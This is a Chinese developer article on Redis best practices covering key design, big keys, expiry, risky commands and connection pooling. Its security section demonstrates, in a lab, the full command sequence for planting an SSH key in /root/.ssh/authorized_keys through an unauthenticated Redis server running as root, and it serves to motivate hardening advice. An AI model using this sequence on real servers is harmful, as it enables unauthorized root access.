https://cloud.tencent.com/developer/article/1986835
由于能力有限,系列文章难免会存在错误或者遗漏,如果您有任何建议,可以在对应的文章下留言或者私信给“悦专栏”公众号,我们会第一时间进行反馈。
下面进入今天的内容:Redis 规范。
建议 key name 设计:业务名:表名:id
比如:
school:student:1
要求:不包含特殊字符
string 类型控制在 10 KB 以内,hash、list、set、zset 元素个数不要超过 5000。
因为 Bigkey 存在一些危害:
建议使用 expire 设置 key 的过期时间,防止 Redis 中残留大量的废弃数据,Redis 不是垃圾桶,内存很贵滴。
keys
flushall
flushdb
等等。
例如 hgetall、lrange、smembers、zrange、sinter 需要设置范围,以保证每次获取少量的元素。如果有遍历所有元素的需求,可以使用 hscan、sscan、zscan 代替。
比如:mget、mset(需要注意的是可能有些分布式集群不支持),或者使用 pipeline。
因为 Redis 事务不支持回滚,而且集群版本要求一个事务操作的 key 必须在一个 slot 上。
monitor 命令不建议使用过久,如果需要确定 hotkey,可运行 1s,一般就可看到哪些是 hotkey 了。
如果 key 类型为 string,则直接删除;
如果 key 类型为 hash、list、set、sorted set,使用 hscan 命令,每次获取部分(例如 100个)field-value,再利用 hdel 删除每个 field;
Redis 在 4.0 版本支持 lazy delete free 的模式,删除 bigkey 不会阻塞 Redis。
在目前集群模式中使用发布订阅, 节点会将接收到的信息广播至集群中的其他所有节点,可能会导致网络问题,因此不建议使用。
在讲解 Redis 安全规范前,我们先来做一个通过 Redis 攻破远程服务器的实验:
首先我在 A 机器(CentOS 7.4,IP 为:192.168.150.253)以 root 用户运行了一个 Redis 实例(Redis 版本:6.0.8)
在 B 机器(CentOS 7.4,IP 为:192.168.150.232)执行:
ssh 192.168.150.253
发现需要输入密码才能连接
将 B 机器的公钥(如果没公钥,则自行生成一个)格式化写入 foo.txt
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub;echo -e "\n\n") > foo.txt
执行下面的命令,将 foo.txt 的内容做为键 aaa 的 value:
cat foo.txt |redis-cli -h 192.168.150.253 -x set aaa
在 B 机器连接 A 机器部署的 Redis
redis-cli -h 192.168.150.253
执行下面命令,改变 Redis 的数据目录为 /root/.ssh
config set dir /root/.ssh
执行下面命令,设置 Redis 的 RDB 文件名为 authorized_keys
config set dbfilename "authorized_keys"
然后执行落盘命令
bgsave
最后在 B 机器尝试连接 A 机器
ssh 192.168.150.253
发现竟然成功免密登录了 A 机器,因此说明利用 Redis 这个漏洞植入公钥成功。
总结上面的步骤,发现 A 机器上部署的 Redis 存在至少 3 个问题:
因此,对于 Redis 安全相关,建议规范如下:
上面的实验正是利用 root 用户启动的特性来重置的 authorized_keys,如果是普通用户,则无权限重置 authorized_keys。
默认端口被扫描的概率非常高,因此换成其他端口可以降低被扫描登录的风险
Redis 如果开放外网,大大增加了被攻击的概率,正如上面实验,如果开放外网,并且使用了默认端口,也没设置密码,那攻击者可以轻而易举的登录上服务器。
如上面的实验,如果设置了密码,那攻击者在登录 Redis 这一步就被挡了,那也就重置不了 authorized_keys 文件。因此也建议对 Redis 设置密码。
多个应用使用一套 Redis 实例,可能会出现性能互相影响的情况,甚至可能发生 key name 冲突。
将冷热数据分开存储,比如将低频数据放在 MySQL 或者其他数据库中,Redis 中存放热数据。毕竟内存比磁盘贵。
频繁创建和销毁连接,会浪费大量资源。因此可以合理使用连接池,防止频繁创建和销毁连接。